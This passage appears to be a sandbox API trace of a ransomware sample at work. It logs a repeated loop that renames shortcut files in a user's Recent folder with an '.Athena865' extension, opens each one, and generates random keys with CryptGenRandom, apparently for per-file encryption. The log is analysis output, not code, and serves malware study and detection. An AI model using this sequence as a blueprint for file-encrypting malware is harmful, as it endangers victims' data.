Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ycRhOOUrcEF.lnk.Athena865") returned 79 [0053.056] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ycRhOOUrcEF.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ycrhoourcef.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ycRhOOUrcEF.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ycrhoourcef.lnk.athena865"), dwFlags=0x1) returned 1 [0053.057] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ycRhOOUrcEF.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ycrhoourcef.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.057] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2626) returned 1 [0053.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.057] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.058] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.058] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.058] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.059] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.059] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.060] lstrcpyW (in: lpString1=0x241e8b4, lpString2="YJi4YRS6U.lnk" | out: lpString1="YJi4YRS6U.lnk") returned="YJi4YRS6U.lnk" [0053.060] lstrlenW (lpString="YJi4YRS6U.lnk") returned 13 [0053.060] lstrlenW (lpString="Athena865") returned 9 [0053.060] lstrcmpiW (lpString1="YRS6U.lnk", lpString2="Athena865") returned 1 [0053.060] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\YJi4YRS6U.lnk.Athena865") returned 77 [0053.060] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\YJi4YRS6U.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\yji4yrs6u.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\YJi4YRS6U.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\yji4yrs6u.lnk.athena865"), dwFlags=0x1) returned 1 [0053.061] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\YJi4YRS6U.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\yji4yrs6u.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.062] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2604) returned 1 [0053.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.062] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.063] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.063] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.063] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.063] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.064] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.065] lstrcpyW (in: lpString1=0x241e8b4, lpString2="YQHAtgNl66vBtxq7rle.flv.lnk" | out: lpString1="YQHAtgNl66vBtxq7rle.flv.lnk") returned="YQHAtgNl66vBtxq7rle.flv.lnk" [0053.065] lstrlenW (lpString="YQHAtgNl66vBtxq7rle.flv.lnk") returned 27 [0053.065] lstrlenW (lpString="Athena865") returned 9 [0053.065] lstrcmpiW (lpString1="e.flv.lnk", lpString2="Athena865") returned 1 [0053.065] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\YQHAtgNl66vBtxq7rle.flv.lnk.Athena865") returned 91 [0053.065] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\YQHAtgNl66vBtxq7rle.flv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\yqhatgnl66vbtxq7rle.flv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\YQHAtgNl66vBtxq7rle.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\yqhatgnl66vbtxq7rle.flv.lnk.athena865"), dwFlags=0x1) returned 1 [0053.066] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\YQHAtgNl66vBtxq7rle.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\yqhatgnl66vbtxq7rle.flv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.066] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3957) returned 1 [0053.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.066] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.067] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.067] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.068] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.068] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.068] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.070] lstrcpyW (in: lpString1=0x241e8b4, lpString2="z-IdO4ZwGyOgNWK.lnk" | out: lpString1="z-IdO4ZwGyOgNWK.lnk") returned="z-IdO4ZwGyOgNWK.lnk" [0053.070] lstrlenW (lpString="z-IdO4ZwGyOgNWK.lnk") returned 19 [0053.070] lstrlenW (lpString="Athena865") returned 9 [0053.070] lstrcmpiW (lpString1="OgNWK.lnk", lpString2="Athena865") returned 1 [0053.070] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\z-IdO4ZwGyOgNWK.lnk.Athena865") returned 83 [0053.070] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\z-IdO4ZwGyOgNWK.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\z-ido4zwgyognwk.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\z-IdO4ZwGyOgNWK.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\z-ido4zwgyognwk.lnk.athena865"), dwFlags=0x1) returned 1 [0053.071] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\z-IdO4ZwGyOgNWK.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\z-ido4zwgyognwk.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.071] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5267) returned 1 [0053.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.071] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.071] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.072] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.072] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.072] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.073] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.073] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.077] lstrcpyW (in: lpString1=0x241e8b4, lpString2="ZFJCJlO5OR1.lnk" | out: lpString1="ZFJCJlO5OR1.lnk") returned="ZFJCJlO5OR1.lnk" [0053.077] lstrlenW (lpString="ZFJCJlO5OR1.lnk") returned 15 [0053.077] lstrlenW (lpString="Athena865") returned 9 [0053.077] lstrcmpiW (lpString1="O5OR1.lnk", lpString2="Athena865") returned 1 [0053.077] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ZFJCJlO5OR1.lnk.Athena865") returned 79 [0053.077] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ZFJCJlO5OR1.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zfjcjlo5or1.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ZFJCJlO5OR1.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zfjcjlo5or1.lnk.athena865"), dwFlags=0x1) returned 1 [0053.078] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ZFJCJlO5OR1.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zfjcjlo5or1.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.078] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2626) returned 1 [0053.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.078] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.079] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.079] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.079] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.080] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.080] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.081] lstrcpyW (in: lpString1=0x241e8b4, lpString2="zuWE.lnk" | out: lpString1="zuWE.lnk") returned="zuWE.lnk" [0053.081] lstrlenW (lpString="zuWE.lnk") returned 8 [0053.081] lstrlenW (lpString="Athena865") returned 9 [0053.081] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\zuWE.lnk.Athena865") returned 72 [0053.081] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\zuWE.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zuwe.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\zuWE.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zuwe.lnk.athena865"), dwFlags=0x1) returned 1 [0053.082] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\zuWE.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zuwe.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.082] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5146) returned 1 [0053.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.083] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.083] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.083] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.084] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.084] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.084] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.086] lstrcpyW (in: lpString1=0x241e8b4, lpString2="zvBfqjt.lnk" | out: lpString1="zvBfqjt.lnk") returned="zvBfqjt.lnk" [0053.086] lstrlenW (lpString="zvBfqjt.lnk") returned 11 [0053.086] lstrlenW (lpString="Athena865") returned 9 [0053.086] lstrcmpiW (lpString1="Bfqjt.lnk", lpString2="Athena865") returned 1 [0053.086] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\zvBfqjt.lnk.Athena865") returned 75 [0053.086] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\zvBfqjt.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zvbfqjt.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\zvBfqjt.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zvbfqjt.lnk.athena865"), dwFlags=0x1) returned 1 [0053.087] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\zvBfqjt.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zvbfqjt.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.087] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3772) returned 1 [0053.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.087] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.088] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.088] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.089] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.089] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.089] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.091] lstrcpyW (in: lpString1=0x241e8b4, lpString2="ZzLapX9_v4.lnk" | out: lpString1="ZzLapX9_v4.lnk") returned="ZzLapX9_v4.lnk" [0053.091] lstrlenW (lpString="ZzLapX9_v4.lnk") returned 14 [0053.091] lstrlenW (lpString="Athena865") returned 9 [0053.091] lstrcmpiW (lpString1="X9_v4.lnk", lpString2="Athena865") returned 1 [0053.091] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ZzLapX9_v4.lnk.Athena865") returned 78 [0053.091] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ZzLapX9_v4.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zzlapx9_v4.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ZzLapX9_v4.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zzlapx9_v4.lnk.athena865"), dwFlags=0x1) returned 1 [0053.092] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ZzLapX9_v4.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\zzlapx9_v4.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.092] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2587) returned 1 [0053.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.093] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.093] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.093] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.093] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.094] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.094] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.095] lstrcpyW (in: lpString1=0x241e8b4, lpString2="_7M11JjnoJE4PxKJttGG.lnk" | out: lpString1="_7M11JjnoJE4PxKJttGG.lnk") returned="_7M11JjnoJE4PxKJttGG.lnk" [0053.095] lstrlenW (lpString="_7M11JjnoJE4PxKJttGG.lnk") returned 24 [0053.095] lstrlenW (lpString="Athena865") returned 9 [0053.095] lstrcmpiW (lpString1="JttGG.lnk", lpString2="Athena865") returned 1 [0053.096] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_7M11JjnoJE4PxKJttGG.lnk.Athena865") returned 88 [0053.096] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_7M11JjnoJE4PxKJttGG.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_7m11jjnoje4pxkjttgg.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_7M11JjnoJE4PxKJttGG.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_7m11jjnoje4pxkjttgg.lnk.athena865"), dwFlags=0x1) returned 1 [0053.096] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_7M11JjnoJE4PxKJttGG.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_7m11jjnoje4pxkjttgg.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.097] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1060) returned 1 [0053.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.097] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.098] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.098] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.098] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.099] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.099] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.100] lstrcpyW (in: lpString1=0x241e8b4, lpString2="_F0g8hcXHkDTsY8z.lnk" | out: lpString1="_F0g8hcXHkDTsY8z.lnk") returned="_F0g8hcXHkDTsY8z.lnk" [0053.100] lstrlenW (lpString="_F0g8hcXHkDTsY8z.lnk") returned 20 [0053.100] lstrlenW (lpString="Athena865") returned 9 [0053.100] lstrcmpiW (lpString1="TsY8z.lnk", lpString2="Athena865") returned 1 [0053.100] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_F0g8hcXHkDTsY8z.lnk.Athena865") returned 84 [0053.100] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_F0g8hcXHkDTsY8z.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_f0g8hcxhkdtsy8z.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_F0g8hcXHkDTsY8z.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_f0g8hcxhkdtsy8z.lnk.athena865"), dwFlags=0x1) returned 1 [0053.101] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_F0g8hcXHkDTsY8z.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\_f0g8hcxhkdtsy8z.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.101] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2653) returned 1 [0053.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.102] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.102] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.102] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.103] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.103] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.103] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.105] lstrcpyW (in: lpString1=0x241e8b4, lpString2="_FVlpnjgIBgAk-YD8Z-.ots.lnk" | out: lpString1="_FVlpnjgIBgAk-YD8Z-.ots.lnk") returned="_FVlpnjgIBgAk-YD8Z-.ots.lnk" [0053.105] lstrlenW (lpString="_FVlpnjgIBgAk-YD8Z-.ots.lnk") returned 27 [0053.105] lstrlenW (lpString="Athena865") returned 9 [0053.105] lstrcmpiW (lpString1="-.ots.lnk", lpString2="Athena865") returned -1 [0053.105] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\_FVlpnjgIBgAk-YD8Z-.ots.lnk.Athena865") returned 91 [0053.105] 